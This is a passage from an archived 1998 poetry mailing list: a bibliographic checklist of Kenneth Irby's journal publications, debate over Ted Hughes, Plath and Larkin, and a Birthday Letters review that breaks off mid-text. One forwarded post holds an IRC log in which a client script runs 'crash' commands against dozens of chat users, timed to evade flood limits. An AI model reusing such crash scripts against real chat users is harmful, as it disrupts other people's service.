"Of curly beechbark oak, iron in the dust, of paper sculpted head"
"the dog-gazed onion in the palm"
House Organ #18 (spring 1997):
"[2 Feb92]"
House Organ #21 (Winter 1998):
"[transcontinental]"
Apex of the M #6 (Fall 1997):
"Homage to Kandinsky and Hartley – Composition / Improvisation, Starting with a Profession by Hartley"
"Visitations"
Notus 10 (Spring 1992):
There's a small section edited, I believe, by Drew Gardner, most of which is culled from _Catalpa_ & _Call Steps_. In the back are essays on Irby by Stephen Ellis & Edward Schelb. Otherwise unpublished are:
"the events of mid-December 1665 in Smyrna"
"it doesn't seem enough and so it isn't enough"
"[trash]"
"midwinter days when the focus stays inside entirely ..."
"so you come again below the snow fume pallor ..."
"from [three sets of three]"
"[study]"
"a life into vegetables set in a half-shadowed deep window frame"
Notus 11 (Fall 1992):

"[vistas, over Lammas]"
Notus 13 (Fall 1993):
"September Set (*For the Wanton Farmers*)" (5 poems)
:that (1994):
"The flecks of other colors on the worn crayola tips"
"Moroni on the play – have you consulted?"
"The antiphonal protagonists take pause"
"[homage to Richard Lovelace]"
"But the cocklight is of the light above ..."
"I have a chair in the stair well ..."
Conjunctions 7 (1985):
"[exercitatio/praecipere]"
reading/review of RD's _Groundwork I: Before the War_
Conjunctions 11 (no date):
"[still] call steps – three short odes"
Conjunctions 12 (1988):
reading/review of RD's _Groundwork II: In the Dark_
Sulfur 34 (Spring 1994):
"Some Notes on Zukofsky's _80 Flowers_ and Michelle J. Leggott's _Reading Zukofsky's '80 Flowers'_"
Jimmy & Lucy's House of "K" # 8 (January 1988):
reprint of "Riding the Dog"
"I have fetched Phoenix papers"_
Talking Poetry_, Lee Bartlett, ed. (New Mexico, 1986):
interviewed by Lee Bartlett
Temblor 1 (1985):
"A Set"
Parnassus (1980):
"america's largest open air museum" – a review of Jonathan Williams' _Elite/Elate_ & _Portrait Photographs_
Text 1 (Winter 1976-77): old, but never collected in book form:
"now the Wolf Borealis"
"*die Gottersprache, das Wechseln und das Werden*"
"search the hills again"
"*lightning steers all things*"
"how *unlike* the backyard plants"
"no amber in Early Bronze Age Ireland"
"the Court of the Blue Sunflower, her eyes"
"and if you drop that people of the past"
"[Homage to Ernst Kantorowicz]"
New World Journal 1.2/3 (Spring 1977):
"rkt(h)o / kwetwer"

Io 23 (1976):
"29 April 1974" (journal entries from trip to Greece)
"[27 Nov 74 – NY – from Quasha’s copy]"
"Eastern Kansas, borderland, Border"
""finding the Marmaton dangerous to cross"
"and no words tonight but these"
"or the disappearance of the Greenland settlements"
"on those outer banks where"
"he would not follow that line by dreams"
"the gray serenade waltz toward summer"
"and by the Fish Wives Steps"
"but Eastern strips"
"and not a sadness, not a crown’s worth"
"at the well this time"
"dark as the broadaxe people’s"
Credences 5/6 (March 1978):
review of Gerrit Lansing’s _The Heavenly Tree Grows Downward_
Credences 7 (Feb 1979):
The entire issue is dedicated to Irby, to celebrate the publication of
Catalpa. Most of the poems printed there have found their way into
print, except for some high school poems. There are useful essays
(by Don Byrd, Mark Karlins, Tom Meyer, Jed Rasula, David Bromige
& George Butterick among others) & a checklist by Bertholf.
Vort 1.3 (Summer 1973):
Also dedicated to Irby, after the publication of _To Max Douglas_.
Interview w/ Barry Albert, pieces by Creeley, Moritz, Byrd & others.
lift 14:
"Observations On, and Ruminations over, Kenneth Irby's _Call Steps_
by Stephen Ellis

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708. **James Finnegan**
Re: the "project"
Wed 18 Feb 1998

In a message dated 98-02-18 14:57:03 EST, you write:

<< here's the full quote about the poetics list's "project" as stated in the welcome message. i can't figure out why so many people can't seem to get their heads around it...

"The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible." ---- Charles, I certainly understand the desire that the list not become unfocused. It has a defined mission. However, doesn't the list need some essential tension? Many of us are readers of "innovative, renovated, investigative" writing, but not wholly sold on it. You need us, need our resistance--otherwise why would the message specify "the otherwise, UNimagined, UNtried, UNexpected, IMprobable, and IMpossible"?

I think when somebody makes quick hamburger of a Sacred Cow of mainstream lit, they should be called on it. Asked to explain why? Without stopping to think, to elaborate on one's response, the list would be of no use to anyone, innovative or UNreformed.

Finnegan

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709. **Maria Damon**
Re: Dark, archetypal Ted
Wed 18 Feb 1998

At 1:07 PM -0500 2/18/98, Brian McHale wrote:
>I agree with Finnegan, a few rounds back: "Crow" still looks like a good book,
>maybe even, I don't know, an avant-garde one. But I also agree with Joris:
>"dark, archetypal" aren't the grounds for making a case for it. Instead, I'd
>make a case for its language -- raggedy odds and ends; strange diction; much
>of it reads like speech-balloons from comics. And that would be another
>grounds for admiring it: "Crow" has some of the adolescent energy of, say,
>Mar-
>vel Comics; same scatter-shot iconoclasm, same bad taste. It feels cheap,
>& I like that. I place it in the same category as, say, "Gunslinger" or

>Rothen
>berg's "Cokboy," its near-contemporaries. Or Kenneth Bernard's "Baboon in the
>Restaurant" -- has anyone read that? Hughes picked it for a poetry prize in
>England, and got a lot of grief for that. It was one of his last "tasteless"
>acts,and I admire him for having done it. Credit where credit's due.
> Brian
one of the first books of poetry i purchased w/ my own allowance $ as a
teen was Crow. haven't looked at it for the last 20 years or so but this
sounds about right.
always a sucker for a post-adolescent poet in a leather jacket,
maria d

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710. Rebecca Weldon Sithiwong
GANG OF FOUR
Wed 18 Feb 1998

I am reading through a week's worth of digests,a comment to Robert Hale on the number 4.

In Asian societies numerology is considered important to interpretaion of events past, present and future. In general, odd numbers are considered of auspicious import and the even are not. In Lanna Tai artistic iconography, of which I can speak with some expertise, even-numbered elements are used when fashioning funerary items. Some believe that odd-numbered elements are related to the human couple and the child; the extra factor in the pair representing life which is auspicious in relation to death.

I am sure that one might be able to find many exceptions to this interpretation, but, in the Chinese context, where numerology is a national pasttime, the use of an inauspicious number in the mass iconography of Maoist doctrine would not be an inconsequential phenomenon.

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711. Schuchat Simon
Re: venom context
Wed 18 Feb 1998

I've never been able to sustain much interest in Ted Hughes' poetry, but I do want to say that I quite like Larkin. If form is only an extension of content, then his non-PC views and his lyric style fit perfectly. Perhaps it is overreading, but I take him to be not so vehement in his reactionary curmudgeon pose, its a role he seems to have chosen, and there is a certain wistfulness at having chosen

that role, e.g., in the poem about sex having been invented a little too late for him, or telling the girls in the library to pull up their socks. An interesting minor poet.

"relentless I you autobiography," perhaps what is grating for some is what happens when personal myth making becomes amplified by the mass media. the Diamond Sutra is better.

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712. **Maria Damon**
kirby
Wed 18 Feb 1998

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thanks to all who called and wrote w/ suggestions on where to start w/ ken irby. will get cracking on it one of these daze (when i come up for air...)--md

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713. **Thomas Bell**
Re: Ted, Sylvia & Phil
Wed 18 Feb 1998

Darkness may be essential - my feeling is that Hughes tapped something here which his other (?more polished, more formal, niver?) poems don't touch.

?The dominant sense in [Rothenberg's] first book is of a 'dark traveler' who journeys from 'darkness to darkness' and shares the fate he ascribes to all of us when he says, 'We love and we die in dark rooms.' Yet in his dream the darkness is beyond the room and he is compelled to name it (_naming_ is a primary reative act) in order to open and enter it. He names it _Creation_, which, in fact, is what _White Sun Black Sun_ names. Though the book is dark, the darkness is also creative ground (hence possibility), and writing the book, Rothenberg has made good such possibility - _answered_ to it. So the darkness that surrounds us is aldso what Antin, in 'The first blasck', a deep image poem he wrote at this time, considered the origin. 'The sun and moon' he says are the ssigns of its clemancy."

I have lost the source of this quote. If anyone recognizes (or
wrote) it please let me know.
tom bell

At 11:15 AM 2/18/98 CST, Dale M Smith wrote:
>Pierre:
>
>I'm not attentive to Hughes' work, so therefore haven't addressed this thread.
>But I do have a question for you. Why is "dark, archetypal" "part of the

>problem?" Are you referring specifically to Hughes' work or to larger problems
>of poetics? Not to say they don't exist, especially in poetry, but I can
>see why one might have trouble with archetypes. But the 'dahk' seems like
>an essential element of a lot of art. Or maybe I'm still spinning from the
>Cassavete's movie I saw last night. D.
>
>
>
>
>
>
>
>To: [redacted]
>
>> (In Larkin's defense, he was a jazz lover--that alone
>> should expunge most of one's life's sins.)
>>
>> Finnegan
>
> James -- ahh, the librarian from Hull -- "jazz" for Larkin died in the
>thirties. he thought bebop and after was barbaric, uncouth, unlistenable.
>
> -- & re TH : I wld tend to include Hughes "Crow" in my admittedly sweeping
>denigration of Hughes' work: "dark, archetypal" -- hmm, that's part of the
>problem, not part of the solution...
>
>Pierre
>--
>==========
>pierre joris 6 madison place albany ny 12202
>tel/fax [redacted] email:[redacted]
>http://www.albany.edu/^joris/
>----------
>"What often prevents us from giving ourselves over to
>a single vice is that we have several of them."
>   La Rochefoucauld
>==========
>
>

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714. **R M Daley**
harry carey's death
Thu 19 Feb 1998

---------- Forwarded message ----------
Date: Wed, 18 Feb 1998 22:59:44 -0600 (CST)
From: "k. lederer" <[redacted]>
To: R M Daley <[redacted]>

Anything you want my pizza-woo-mannn!

PPPPPPPPPPPP IIIIIIIII ZZZZZZZZZZZ ZZZZZZZZZZZ AAAAA
PPPPPPPPPPPP IIIIIIIII ZZZZZZZZZZZ ZZZZZZZZZZZ AAAAAAAAA
PPPP PPPPP IIIIIIIII ZZZZ ZZZZ AAAAAAAAAAA PPPP
PPPPP IIIIIIIII ZZZZ ZZZZ AAAA AAAA PPPPPPPPPPPP
IIIIIIIII ZZZZ ZZZZ AAAA AAAA PPpPPpPPpPPp IIiIIiIIi
ZzZZ ZzZz AaaAaaAaaAa PppP IiiiIiiIi ZzzZ Zzzz
aaaAaaAaaAa ppll iii.i.o.o zz.z ze.z aqa. a,,a p.;;
;;ii;i;;. z,>zz,,//z z//z/..//zz .>.a a6,, ..pi ..;..;,,i >>'z/zz/z/
>z>.//,,/z. @a,, a,,kt

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715. **david bromige**
tis better to be vile than vile esteem'd
Thu 19 Feb 1998

---

only where not to be receives reproach of being. bill.

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716. **Marjorie Perloff**
Re: Plath and Hughes
Thu 19 Feb 1998

As someone who has written quite a bit about Sylvia Plath (and reviewed a number of Hughes's books over the years), I'd like to throw my two cents into this debate.

Ted Hughes, let's remember, burned Sylvia Plath's journals and reordered her last poems so as to make her look more suicidal and depressed than she actually was (see my essay on this in POETIC LICENSE). It's uncanny how he represented her work and made himself look better. He also let out the most dangerous poems when he edited ARIEL.

Now Hughes comes along and gives us "his side of the story." What is his explanation of Plath's "failure"? Her father complex! Come on, now! How banal

can you get. And the poems I've seen reproduced in the papers (I haven't read the book yet) are embarrasingly banal and self-justifying. What is disturbing is not that Hughes, whose work has been going down hill for years) should have written these poems, but that the reviewers LOVE THEM! Call them "great works of art." It's very depressing. This is all just biographical drivel and will have no staying power. However, Hughes' poems do serve to remind us how talented Plath herself was. He only wishes he could write 1/10 as well.

Another point: I don't believe he wrote these poems "over the years." I think he wrote them just this last year or so in order to justify himself and cash in on her death yet again! And now he has succeeded.

Marjorie Perloff

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717. **Mark Baker**
Re: dead frog's legs touched by electrodes
Thu 19 Feb 1998

Are these lines, already too much for Dodie,--

> *Lucas, my friend, one*
> *Among those three or four who stay unchanged*
> *Like a separate self,*
> *A stone in the bed of the river*
> *Under every change . . .*

--supposed to be irony? These are Hughes'
friends? Had he met them at close of day,
among grey 20th-century Yorkshire moors?
Did they or did they not make a stone of
the heart? It's not beauty, but it's terrible.

Mark Baker

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718. **Mark Weiss**
Re: Lacan on Poetry/oops
Thu 19 Feb 1998

Only a true believer can know the truth. Or maybe you boys never got over your transference neuroses. Or maybe this really is a matter of religion and should be left alone. I opt for all three. But please don't accuse those who disagree with you of derangement or ignorance. Any further comments please backchannel. I value the list for what it does well; I suspect this discussion is not one of those things.

At 02:50 PM 2/18/98 -0500, you wrote:
>Pierre Joris wrote
>
>"ahh, the cat is out of the bag: the old self-fulfilling prophecy: if
>there is criticism of the Freudian couch, then it is the patient who
>failed -- obviously it couldn't be the analyst or the analyst's system
>of beliefs -- and all criticism on the "patient's" part can then be
>construed as "resentment" which feeds it straight back into the
>psychoanalytic machinery -- three more years on the couch at so much an
>hour..."
>
>I think this misrepresents Joe Brennan's remarks. Yes, partly he is
>suggesting that the issue may be that of a resentment based on the
>patient's failure, but this is couched within Lacan's own disapproval of
>American psychoanalysis. As I read it, the failure Brennan is
>discussing is not the fault of the patient, but that of the particular
>framework in which the analysis took place. Further, I would say that
>Brennan's point here is demonstrated by Mr. Weiss's elision of
>psychoanalysis and psychotherapy.
>
>Robert Zamsky
>
>

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719. **David Israel**
Re: Ted, Sylvia & Phil
Thu 19 Feb 1998

To toss in me tuppence re: Pierre J.'s here discussed dictum anent Ted Hughes --

<< . . . "dark, archetypal" -- hmm, that's part of the problem, not part of the solution. . . >>>

hmm, this utterance is prob. 1 part critique, 2 parts rhetorical flourish. (Of course the reliance on radical '60s-ish formula is not to be missed; -- not glossed over, rather, glossed.)

The exclusivity -- either you're (a) or (b) [no overlap] -- is bracing in its non-reconstructed [or non-deconstructed?] binarity. hmmm

cheerio what,
d.i.

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720. **Alan Myouka Sondheim**
NIKUKO RAGES (fwd)
Thu 19 Feb 1998

-

NIKUKO RAGES

IRC log started Wed Feb 18 13:17
*** Value of LOG set to ON
#***# Nikuko ([redacted]) has joined channel #freedom
*** ChanServ has changed the topic on channel #freedom to
FUCK ME BABY!!!!!!!!!!!!!! (KID420)
*** Mode change "+ntr" on channel #freedom by ChanServ
*** #freedom 887825853
*** On RAW_IRC from "% 352 *" do ^assign DOIT $DOIT;^timer $TIME
crash $7;^assign TIME ${TIME+7} [SILENT] <0>
*** On RAW_IRC from "% 315 *" do on raw_irc -"% 352 *";
on raw_irc -"% 315 *";eval $DOIT [SILENT] <0>
<^V^> Crashing Netcruizer Lamer: StarLite
<^V^> > will crash 48 users <
<^V^> > time required to avoid excess flood: 337 seconds <
*** StarLite: No such nick/channel
<^V^> Crashing Netcruizer Lamer: UniBoy21
<^V^> Crashing Netcruizer Lamer: SirVictor
*** CTCP FINGER reply from SirVictor: : :idle 7 second(s)
<^V^> Crashing Netcruizer Lamer: Ghostoff159
<^V^> Crashing Netcruizer Lamer: Hueybot
*** Signoff: Nikuko (/<rad link?)
IRC Log ended *** Wed Feb 18 13:18

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721. **david bromige**
KEN IRBY HIS BOOKS
Thu 19 Feb 1998

RELATION must be the second, huh? The book that Black Sparrow did. (1969?) They might have a few left. 24 W 10 th St, Santa Rosa, 95404.

CATALPA was considerably reviewed in an issue of CREDENCES, I think #7,I think 1979, ed. Bertholf out of the library at suny buffalo. db3.

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722. MAYHEW
Hughes, Irby
Thu 19 Feb 1998

The most interesting aspect of Hughes work perhaps derives from D.H. Lawrence. His work has been going downhill for years, in inverse proportion to his status as official poet; the wildness turns to nastiness.

I feel deeply embarrassed that I have been living in Lawrence for a few years without even knowing that Irby was here, or having a full sense of who he is, which is only gradually dawning on me from the list and my own quick catch-up readings. This is symptomatic of something else, though I don't know exactly what. In my defense I can only say that I spend as little time in Kansas as humanly possible.

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

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723. Billy Little
baraka sez
Thu 19 Feb 1998

My own
poetic tradition is Fred Douglass, The Sorrow Songs, David Walker, The Shouts and
The Hollers, Work Songs, Arwhoolies, Prison House moans, Tubman and Nat Turner.
Vesey and Prosser and John Brown and Melville and Harper and Du Bois, Twain, Truth
and Linda Brent and Box Brown. Whitman (except for his American Destiny) Brecht,
Mayakovsy, Sembene Ousman, Lu Shun, Baldwin, Hansberry, Margaret Walker Mao, Ho,
Guillen, Lorca, Roque Dalton, Otto Rene Castillo, Henry Dumas, Larry Neal, Neruda,
Louis Armstrong, Babs Gonzalez, Dizzy Gillespie, Monk, Ellington, Sassy and

Billie, The Ginsberg who proselytized for American speech, the breath phrase and
Bop Prosody and the exposure of the Moloch of US imperialism, Sterling Brown, Aime
Cesaire, Olson, The Black Church, Stevie Wonder, Smokey Robinson.

The life of the Blues, the music of resisting spirit. Niggers alive and laughing.
The victory of the people. Revolutionary democracy, the rule of workers, in
alliance with the farmers and democratic forces.

It is the John Coltrane Do Bana Coba Beneme Beneme Douglass DuBois Sassy Billie
Return to the Source tradition of the burning expressions of Human Desire. Both
Form and Content are Weapons of Self Consciousness and Revolution.

With what we declared by the time of the 60's Black Arts Movement. An Art that is
Afro American. (i.e. democratic) Mass Oriented and Revolutionary. This tradition
is the inspiration and method by which we revolutionaries approach Social
Transformation by the power of our form and content, their unity and the intensity
of struggle. But we must create a new superstructure from those traditions. One
controlled by the workers and farmers and democratic middleclasses. international
network of institutions and organizations by which our entire revolutionary
tradition can wage righteous war on the criminal rulers and their corrupt
oppressive rule. For it is this wailing, this defiance, this resistance, this joy
in the overwhelming of evil by good, that is at the base of our poetic traditions,
our history, our continuing lives.

from [The Conference on Contemporary Poetry, held April 24th - April 27th, 1997]

Social Change & Poetic Tradition

Amiri Baraka

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724. Suzanne Burns
Re: Plath and Hughes
Thu 19 Feb 1998

On Wed, 18 Feb 1998, Marjorie Perloff wrote:

> *poems do serve to remind us how talented Plath herself was. He only wishes he could write 1/10 as well.*

I wholeheartedly agree with this. One thing I regret about this thread is that Plath has been lost somewhere in the margins. If this is a forum to talk about innovation, we might want to look at what she has achieved, rather than indulge in the usual, tired Hughes bashing.

> *Another point: I don't believe he wrote these poems "over the years." I think he wrote them just this last year or so in order to justify himself and cash in on her death yet again! And now he has succeeded.*

How are you coming to this, Marjorie? Is it really unbelievable that Hughes, who was married to Plath for heavens sake, would write about her, however inadequately, over the years? I can't say anything about the majority of the poems-- nor can anyone-- but it should be noted that about eight or so have been published over the years. I believe one made it into his selected, published about ten years ago.

Suzanne

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725. Judy Roitman
Re: the "project"
Thu 19 Feb 1998

I find it interesting that so much of the defense of Hughes centers around issues of meaning and very little around whether he can, you should excuse the expression, write.

I finally got my NYR last night and turned to the Fenton piece. I was astonished at how often Hughes' line seemed flaccid, how dull his rhythms, how self-indulgent and predictable his language. I wondered --- if his long-dead wife had not been the famous poet Sylvia Plath, would people be interested in these poems? Occasionally something clean and focused came through, but this was not the predominant impression.

My shelves are stacked with books of poets I want to read and haven't get gotten around to. Why should I or anyone else put time into reading someone we don't like?

When you think of all the wonderful poets with great integrity who are doing their damndest to manifest language/mind/world it is annoying, to say the least, that they are ignored and someone like Hughes is honored.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

726. **Billy Little**
waistland, put a cawk in it
Thu 19 Feb 1998

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thank you Marjorie, thank you Judy for giving us succinct and unfudgy comment on this sad old colonial poet who's been enriching my server these past few weeks. he may be a profit to his publisher, but don't pour no bloody bever for this tiredsiass, try gelusil. hope we haven't put any potato chips on his picnic table.

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727. **Douglas**
Re: Irby Checklist
Thu 19 Feb 1998

For Ken Irby's poetry, you might also take
a look at the selection in FROM THE OTHER SIDE
OF THE CENTURY: A NEW AMERICAN POETRY..., which
also lists all of his titles in the back.

D. Messerli

[redacted] wrote:
>
> In a message dated 98-02-18 12:53:22 EST, Maria Damon writes:
>
> << irby is a name i'v heard (mostly from charSSmith--hi there) but not read.
> any suggestions on where to start, the most accessible (buyable-available)
> texts etc? >>
>

> aww Maria, you shdn't have gotten me started!
>
> As Pierre wrote yesterday, the "most" (read "only") accessible Irby in book
> form is _Call Steps_ (Station Hill/Tansy, 1992), available as always from SPD
> ([redacted], http://www.spdbooks.org/). That volume gathers material
> from 1977-1979 & is a great place to start. The 2 poems in Apex of the M #6
> (hi Kristen!) are knockouts --that should be readily findable. The chapbook
> _Antiphonal & Fall to Fall_ (Kavyayantra, 1994) is the only book to gather
> work written since then & is practically unavailable. I think there may be new
> poems in the most recent First Intensity, but I just unearthed a resubscribe
> notice sent last summer, so I don't have that issue at hand. Used copies of
> _Relation_ (Black Sparrow, 1970) occasionally show up. *Somebody* should
> reprint _To Max Douglas_ (Tansy 1971, 1974), _Archipelago_ (Tuumba, 1976),
&
> _Catalpa_ (Tansy, 1977) except that there are at least two unpublished mss.
> from the 70's, and reams (?) of poems from the 80's & 90's. There are also
> three very obscure early publications: _Kansas/New Mexico_ (Formula Series
> Number One, Lawrence, 1965), _Movements /Sequences_ (Duende #8, 1965),
and The
> Flower Of Having Passed Through Paradise In A Dream_ (Matter, 1968).
>
> Let me restate. The most recent full collection by Ken Irby gathers work
> through 1979. There are now two decades worth of work that remains largely
> inaccessible by a man who is repeatedly mentioned in conversation by many
many
> different writers of various stripes as one of the most highly underrated,
> underpublished major (can I use that word?) poets in America today.
> "Marginal," "Underground," "Fugitive" hardly suffice. The situation won't
> change anytime in the near future.
>
> I've spent most of today compiling the following list. There are the makings
> for at least three books or more in it. The four reading/reviews would make a
> great poetics book. (There are more early reviews in places like Kulchur,
> Poetry, & Caterpillar.) There are tapes at Naropa of a class Ken taught in the
> early 90's, on "The Elegiac" that are poorly organized but well worth
> listening to. There may be tapes of a Whitman seminar he taught at the New
> College in the mid/late 80's. I originally set out to just list recent pubs,
> but realized that there is *so* much out there forgotten in journals that
> really should be remembered -- so, it's a tad compulsive, though not com-
plete.
> Maybe someone will find it useful?
>

> all best,
> Charles Smith
>
> the full penalty of the obligation
> losing, *never* finding the Word?
>
> so, finally <<the assumption about who's there>>
> *is* the crux, and <<who cannot answer>>?
>
> --Ken Irby, from
> "[Reunion]"
> _Call
> Steps_
>
> a checklist (incomplete) of recent (& not-so) Irby journal contributions:
>
> First Intensity #1 (Summer 1993):
> "doctor into the night life ..."
> "some high new tangerine wax fancy"
> "[a small classical flagstone landscape mystery, as wool to murex]"
> First Intensity #2 (Fall 1994):
> "Evangel of the Morning, bright messenger"
> "[to almost midnight New Year's Eve in Glasgow]"
> First Intensity #4 (Winter 1995):
> "There is the bare and rich delight of coming back ..."
> First Intensity #5 (Summer 1995):
> "[from Three Sets of Three – III]"
> First Intensity #6 (Winter 1996):
> "[from Three Sets of Three – II]"
> First Intensity #8 (Winter 1997):
> "crow talk, woodpecker, brother clouds ..."
> "Of curly beechbark oak, iron in the dust, of paper sculpted head"
> "the dog-gazed onion in the palm"
> House Organ #18 (spring 1997):
> "[2 Feb92]"
> House Organ #21 (Winter 1998):
> "[transcontinental]"
> Apex of the M #6 (Fall 1997):
> "Homage to Kandinsky and Hartley – Composition / Improvisation,
> Starting with a Profession by Hartley"
> "Visitations"
> Notus 10 (Spring 1992):

> There’s a small section edited, I believe, by Drew Gardner, most of
> which is
> culled from _Catalpa_ & _Call Steps_. In the back are essays on
> Irby by
> Stephen Ellis & Edward Schelb. Otherwise unpublished are:
> "the events of mid-December 1665 in Smyrna"
> "it doesn’t seem enough and so it isn’t enough"
> "[trash]"
> "midwinter days when the focus stays inside entirely ..."
> "so you come again below the snow fume pallor ..."
> "from [three sets of three]"
> "[study]"
> "a life into vegetables set in a half-shadowed deep window frame"
> Notus 11 (Fall 1992):
> "[vistas, over Lammas]"
> Notus 13 (Fall 1993):
> "September Set (*For the Wanton Farmers*)" (5 poems)
> :that (1994):
> "The flecks of other colors on the worn crayola tips"
> "Moroni on the play – have you consulted?"
> "The antiphonal protagonists take pause"
> "[homage to Richard Lovelace]"
> "But the cocklight is of the light above ..."
> "I have a chair in the stair well ..."
> Conjunctions 7 (1985):
> "[exercitatio/praecipere]"
> reading/review of RD’s _Groundwork I: Before the War_
> Conjunctions 11 (no date):
> "[still] call steps – three short odes"
> Conjunctions 12 (1988):
> reading/review of RD’s _Groundwork II: In the Dark_
> Sulfur 34 (Spring 1994):
> "Some Notes on Zukofsky’s _80 Flowers_ and Michelle J. Leggott’s
> _Reading Zukofsky’s ‘80 Flowers’_"
> Jimmy & Lucy’s House of "K" # 8 (January 1988):
> reprint of "Riding the Dog"
> "I have fetched Phoenix papers"_
> Talking Poetry_, Lee Bartlett, ed. (New Mexico, 1986):
> interviewed by Lee Bartlett
> Temblor 1 (1985):
> "A Set"
> Parnassus (1980):

> "america's largest open air museum" – a review of Jonathan
> Williams' _Elite/Elate_ & _Portrait Photographs_
> Text 1 (Winter 1976-77): old, but never collected in book form:
> "now the Wolf Borealis"
> "*die Gottersprache, das Wechseln und das Werden*"
> "search the hills again"
> "*lightning steers all things*"
> "how *unlike* the backyard plants"
> "no amber in Early Bronze Age Ireland"
> "the Court of the Blue Sunflower, her eyes"
> "and if you drop that people of the past"
> "[Homage to Ernst Kantorowicz]"
> New World Journal 1.2/3 (Spring 1977):
> "rkt(h)o / kwetwer"
> Io 23 (1976):
> "29 April 1974" (journal entries from trip to Greece)
> "[27 Nov 74 – NY – from Quasha's copy]"
> "Eastern Kansas, borderland, Border"
> ""finding the Marmaton dangerous to cross"
> "and no words tonight but these"
> "or the disappearance of the Greenland settlements"
> "on those outer banks where"
> "he would not follow that line by dreams"
> "the gray serenade waltz toward summer"
> "and by the Fish Wives Steps"
> "but Eastern strips"
> "and not a sadness, not a crown's worth"
> "at the well this time"
> "dark as the broadaxe people's"
> Credences 5/6 (March 1978):
> review of Gerrit Lansing's _The Heavenly Tree Grows
> Downward_
> Credences 7 (Feb 1979):
> The entire issue is dedicated to Irby, to celebrate the
> publication of
> _Catalpa_. Most of the poems printed there have found their
> way into
> print, except for some high school poems. There are useful
> essays
> (by Don Byrd, Mark Karlins, Tom Meyer, Jed Rasula, David
> Bromige
> & George Butterick among others) & a checklist by Bertholf.

> Vort 1.3 (Summer 1973):
> Also dedicated to Irby, after the publication of _To Max
> Douglas_.
> Interview w/ Barry Albert, pieces by Creeley, Moritz, Byrd
> & others.
> lift 14:
> "Observations On, and Ruminations over, Kenneth Irby's _Call
> Steps_
> by Stephen Ellis

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728. **Douglas Barbour**

Re: Hughes using Plath for?

Thu 19 Feb 1998

The Hughes thread has been very interesting & I have enjoyed it all. I'm not a great fan of his writing but as a teacher I have had to include it in courses on post 1945 poetry, & so his reputation is also part of what we all deal with when we read it. I reviewed the book for the local paper, so that review is more general than perhaps it would have been for a more klnowledgeable audience, but for the moment I stand by it. However, I would add that the more I think about the poems, the more I have to add to Ron's comment that they're 'necrophilic,' that I think, in the way that they are collaborations with her poems, 'necromantic'...

The real problem, as I hint here, is that we can't read them for the writing when the story, the myth, is so prevalent & powerful...

Birthday Letters by Ted Hughes. Faber & Faber, 198 pp., $25.00 Birthday Letters, the latest book from Britain's poet laureate, Ted Hughes, broke on the scene after no advance publicity and, according to a report on CBC's This Morning, sold 40,000 copies in its first week of publication. This did not happen because there has been a sudden upsurge of interest in poetry, of whatever kind, in Britain. It happened because these poems are clearly addressed to one of the most mythicized writers of the twentieth century, Sylvia Plath, from one of the central figures, along with her father, in that myth, the husband who has been demonized by Plath's supporters during the 35 years since she committed suicide (as Janet Malcolm points out in perhaps the finest study of this long relationship, The Silent Woman). Says Malcolm: "To the readers of her poetry and her biography, Sylvia Plath will always be young and in a rage over Hughes's unfaithfulness." It is the continuing fascination with Plath's work and death that fuels the immense interest in this book of poems. The question that arises, then, an impossible question, I suspect, is how to judge these poems as poems.

Certainly, I can't pretend to do so at this early point. But one of the reasons I can't is that Hughes has chosen so clearly to write these poems as autobiography, and to address them to a "you" who can be no other person than Plath. Moreover, they insist on foregrounding an "I" who assumes at least as much importance as the figure addressed. These poems emerge from a long tradition of lyric elegy, wherein the speaker always gets the last word, whether meditating on a single death or applying the lessons of that death to humanity in general, yet most of them are narratives of memory, little stories of a love affair destined to destruction. Readers of Plath's biographies will recognize many of these moments, seen suddenly from a different perspective. One of my problems with these poems is that, even though many ask unanswerable questions, and even though Hughes (or his persona) accepts a lot of blame for failing to comprehend his beloved's manic/melancholic desperation, they all move to such a firm closure there seems to be no room for further questioning on our parts. There are 88 poems here, so how exactly they are "Birthday Letters" is not clear. Since Hughes has mantained a dignified silence about his relation to Plath for so long, the obsessive, repetitive, and overwhelming length of this book both repels and compels. Plath's anger, energy, fear, and pain -- what he calls her "Panic" -- inform his every memory, and his anguish is like a sore tooth he simply can't stop probing with his tongue. The poems circle around their relationship from the period when they first met to the present day (after all he has lived so much longer without her than with her, but he has lived those years with her inheritence, both the children and the writing). What can he say? Hughes has always been a highly symbolic writer, engaged with the ancient mythic material of his birthplace, Yorkshire. In Birthday Letters, the very private mythology that finally overwhelmed Plath threatens to overwhelm him as well, and his only defence is to fight myth with myth. These poems are dark dreams, frightening faery tales, demented legends full of repeated themes and images, most of which can be found in Plath's poetry or his own earlier work. The Plath industry will have a field day deciphering them, but how well do they work as poems? It's hard to say. Hughes has always been a poet of analogy, and the similes, the dark symbols, proliferate here. Although the poems appear to speak with heartfelt honesty, they are, in fact, highly rhetorical arguments. Portents abound, but often they descend into mere portentousness, as in "Epiphany," wherein Hughes, with a clear allusion to one of his own most famous poems, "The Thought-Fox," refuses to buy a fox cub on the street and then wonders what would have happened if he "had paid that pound and turned back / To you, with that armful of fox --". If I had grasped that whatever comes with a fox Is what tests a marriage and proves it a marriage -- I would not have failed the test. Would you have failed it? But I failed. Our marriage had failed. Yes, he takes blame here, but in such a strange manner, and this seems true of all the poems where he does so. One of the most startling is the only poem in which

the woman for whom he left Plath enters their home. He spends much of the poem explaining how "She fascinated you" and "Warily you cultivated her," thus making the argument that Plath was as responsible for her being there as he was, even if, at the end he admits that "I saw / The dreamer in her / Had fallen in love with me and she did not know it. / That moment the dreamer in me / Fell in love with her, and I knew it." The arguments are with Plath herself as much as with the readers. Still, I responded most fully to those moments when he comes down to earth. A line like "Our lives were still a raid on our own good luck" strikes home. And in an early poem, he shows that he is aware that all that he is doing is offering another version, not the 'true' or 'real' one. He has been reading her journals: Then, under the panic, the nightmare That came rolling to crush you: Your alternative -- the unthinkable Old despair and the new agony Melting into one familiar hell. And then he realizes: "You are ten years dead. It is only a story. / Your story. My story." This insight is important, but on the whole the poems keep forgetting its lesson and press their message unironically. The real horror here, as far as their writer is concerned, is that 